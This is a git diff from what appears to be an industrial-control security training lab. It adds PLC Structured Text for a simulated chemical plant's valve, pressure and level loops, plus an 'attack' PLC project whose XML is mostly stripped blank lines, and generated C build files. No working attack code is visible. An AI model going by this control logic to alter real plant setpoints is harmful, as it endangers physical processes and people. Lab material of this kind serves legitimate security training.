scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.xml b/plc/GRFICS_Workstation_Docs/Documents/attack.xml new file mode 100644 index 0000000..725d547 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.xml @@ -0,0 +1,5136 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 30000 + + + + + + + + + + + + + hmi_pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 16000 + + + + + + + + + + + + + hmi_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + + + hmi_purge_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + hmi_purge_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 1 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 32000 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + pressure_sp_real + + + + + + + pressure_k + + + + + + + pressure_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure_sp + + + + + + + + + + + + + pressure_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + valve_pos_nominal + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_k + + + + + + + flow_ti + + + + + + + cycle_time + + + + + + + flow_td + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + composition_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + valve_pos_nominal + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + override_ti + + + + + + + cycle_time + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + + + + + + + curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + input_uint + + + + + + + 2 + + + + + + + + + + + + + + + output_int + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + cycle_time + + + + + + + level_ti + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml new file mode 100644 index 0000000..c5afdb1 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml @@ -0,0 +1,4 @@ + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c new file mode 100644 index 0000000..0dd2355 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c @@ -0,0 +1,29 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +#include "accessor.h" + +#include "POUS.h" + +// CONFIGURATION CONFIG0 + +void RES0_init__(void); + +void config_init__(void) { + BOOL retain; + retain = 0; + + RES0_init__(); +} + +void RES0_run__(unsigned long tick); + +void config_run__(unsigned long tick) { + RES0_run__(tick); +} +unsigned long long common_ticktime__ = 50000000ULL; /*ns*/ +unsigned long greatest_tick_count__ = 0UL; /*tick*/ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h new file mode 100644 index 0000000..7050753 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h @@ -0,0 +1,2 @@ +#include "beremiz.h" + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o new file mode 100644 index 0000000..3d987f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c new file mode 100644 index 0000000..d1856d9 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c @@ -0,0 +1,1081 @@ +void LOGGER_init__(LOGGER *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MSG,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->LEVEL,LOGLEVEL__INFO,retain) + __INIT_VAR(data__->TRIG0,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void LOGGER_body__(LOGGER *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + if ((__GET_VAR(data__->TRIG,) && !(__GET_VAR(data__->TRIG0,)))) { + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) + + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + + #undef GetFbVar + #undef SetFbVar +; + }; + __SET_VAR(data__->,TRIG0,,__GET_VAR(data__->TRIG,)); + + goto __end; + +__end: + return; +} // LOGGER_body__() + + + + + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_EVAL_body__() + + + + + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define 